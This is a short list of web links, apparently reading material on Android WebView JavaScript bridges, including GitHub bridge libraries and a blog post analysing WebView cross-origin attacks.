http://blog.csdn.net/sk719887916/article/details/52402470
https://zhuanlan.zhihu.com/p/24202408
https://github.com/lzyzsd/JsBridge
http://m.itdecent.cn/p/93cea79a2443#
http://www.codexiu.cn/android/blog/33214/
https://github.com/pedant/safe-java-js-webview-bridge
http://blog.sina.com.cn/s/blog_777f9dbb0102v8by.html
http://www.cnblogs.com/chaoyuehedy/p/5556557.html
http://blogs.#/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/
https://my.oschina.net/zhibuji/blog/100580
http://www.cnblogs.com/punkisnotdead/p/5062631.html?utm_source=tuicool&utm_medium=referral